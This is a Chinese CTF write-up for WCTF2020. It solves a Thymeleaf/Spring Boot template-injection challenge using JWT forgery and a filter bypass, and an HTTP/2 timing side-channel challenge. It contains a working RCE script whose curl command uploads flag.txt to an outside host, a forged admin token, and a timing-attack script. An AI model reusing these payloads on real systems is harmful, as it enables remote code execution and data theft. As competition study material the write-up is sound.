WCTF2020 writeup
wctf题目质量很好,比赛体验也很好。
thymeleaf

springboot,扫目录发现swagger-ui.html泄露


模板注入
https://paper.seebug.org/1332/ 对于springboot如果controller无返回值,会渲染url。

经测试
DELETE /auth/user/xxx 时controll无返回值

jwt爆破权限绕过
访问一直返回无权限访问,拿jwtcracker爆破密码得到admin,jwt伪造admin
绕过引号被过滤
使用concat绕过
message = input()
d = 'T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
d += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
读flag
远程环境是windows,最后使用curl 读flag,出题人预期应该是反弹shell的,但是flag就在本目录可以直接读取。
import requests
message = "curl 192.168.3.10:10000 -F "file=@flag.txt""
d = 'T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
d += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
burp0_url = "http://172.16.3.10:10007/auth/user/__$%7bT(java.lang.Runtime).getRuntime().exec({})%7d__::.x".format(d)
#burp0_url = "http://172.16.3.10:10007/auth/user/__$%7b{T(org.apache.commons.io.FileUtils).readFileToString(new%20java.io.File({})%7d__::.x".format(d)
burp0_cookies = {"SESSION": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4iLCJpc3MiOiJYWC1NYW5hZ2VyIiwiaWF0IjoxNjA1NzQ4NjMwfQ.RPj_a2VkktEybvoicrUuzc373-V0FAC51Av42WQeCvc"}
res = requests.delete(burp0_url, cookies=burp0_cookies)
print(res.text)

Spaceless
访问 题目地址是二进制乱码

信息收集
分析出二进制响应内容判断是http2.0内容
使用http2.0访问方式拿到源码
from hyper import HTTP20Connection
if "__main__" == __name__:
conn = HTTP20Connection('172.16.3.74:10008')
conn.request('GET', '/')
resp = conn.get_response()
print(resp.read().decode())
源码:
#!/usr/bin/env python
import os
import time
from flask import Flask
app = Flask(__name__)
SECRET = os.environ["SECRET"]
assert " " not in SECRET
PLANCK_TIME = 5.391247 * 10 ** -44
@app.route("/")
def index():
with open(__file__) as f:
return f.read()
@app.route("/<secret>")
def check_secret(secret):
if len(secret) != len(SECRET):
return "SPACELESS SPACING!"
for a, b in zip(secret, SECRET):
if a == " ":
continue
elif a != b:
return "INCORRECT!"
else:
time.sleep(PLANCK_TIME)
if " " in secret:
return "INCORRECT!"
return "CORRECT!"
Process finished with exit code 0
很简单的flask程序,流程大概是输入一个secret,每一位进行比较,如果输入的对应位为空格则判断下一位,但是在下面判断如果存在空格就仍然返回INCORRECT。如果某一位正确,就会sleep普朗克时间。
流程很简单,但是题目所给的信息就这么多了。
首先sleep普朗克时间并不是真的5.391247 * 10 ** -44
这么小,因为python的sleep有最小单位,我们本地跑大概在10的-5次方的数量级。
http2.0
http2.0相对于http1.x,大幅度的提升了 web 性能。它有两个很重要的特性单一长链接和多路复用,一个TCP链接就可以发送非常多个请求。
侧信道
基于上面的代码,有一个基本的思路,我们可以利用单一长连接,在一个TCP链接上发送大量的请求,按位猜测SECRET值,因为如果猜测正确,那么正确数据流会进入sleep中,而失败会break。
所以最开始的思路是,一个TCP链接如果能发送10000个请求的话,那么测量这个TCP链接所用时间可以按位猜测SECRET值。
虽然本地试的时候可以发送非常多的包,但是当我使用python的hyper.HTTP20Connection真实环境发送请求时发现一个TCP链接只能发送999个请求(可能是远程的限制)。

虽然999个请求必然会有效果,但是999个请求乘以一次sleep时间在网络波动的影响下并不能很好的区分响应。
倒序侧信道猜测
顺序一位一位的猜测仅能通过一个sleep普朗克时间区分正确与否。
首先我们测试了SECRET是以wctf{开头的,那么猜测必定是以}结尾。
而如果是倒序猜测SECRET的话,首先我们测试如果成功猜测正确后面几位,那么正确的与错误会差距越来越大。因为每测一位,如果这位正确,那么后面全部正确,如果错误就直接break返回了。
利用最后一位已知,直接从倒数第二位开始猜测,那么倒数第二位正确了话会延迟两个sleep,而错误直接返回。
from hyper import HTTP20Connection
import time
import copy
from urllib.parse import quote
import string
import threading
PLANCK_TIME = 5.391247 * 10 ** -44
host = "172.16.3.74"
port = 10008
times = {}
ss = string.printable
def req(text, loop):
conn = HTTP20Connection(host, port)
t1 = time.time()
for i in range(loop):
conn.request('GET', '/' + quote(text))
try:
conn.get_response()
except:
print(i)
exit(0)
t2 = time.time()
return t2 - t1
def getloop(text1):
return 999
def judge(times):
t = copy.deepcopy(times)
t.sort(reverse=True)
return times.index(t[0])
def gettext(flag, s):
return flag + s + ' ' * (38 - len(flag + s) -1) + '}'
def gettext1(flag, s):
return flag + ' ' * (38 - len(flag + s) -1) + s + '}'
if __name__ == "__main__":
for j in range(0, 10):
t1 = req(gettext1("", "wctf{yejpuanjievvxkuzjftfidxqowqdegqc"), 1000)
t2 = req(gettext1("", "xx"), 999)
print(t1-t2)
然后再一位一位猜测,最后拿到flag
更合理的做法
做题时虽然我们是有效果的,但是想到大师赛是线上的,那拿我们的脚本可能还是会受到网络影响。比完赛和kap0k师傅交流,他们找到了这个脚本https://github.com/DistriNet/timeless-timing-attacks,简单那看了一下,它实现的更底层,能保证几个对照请求能同时到达服务器
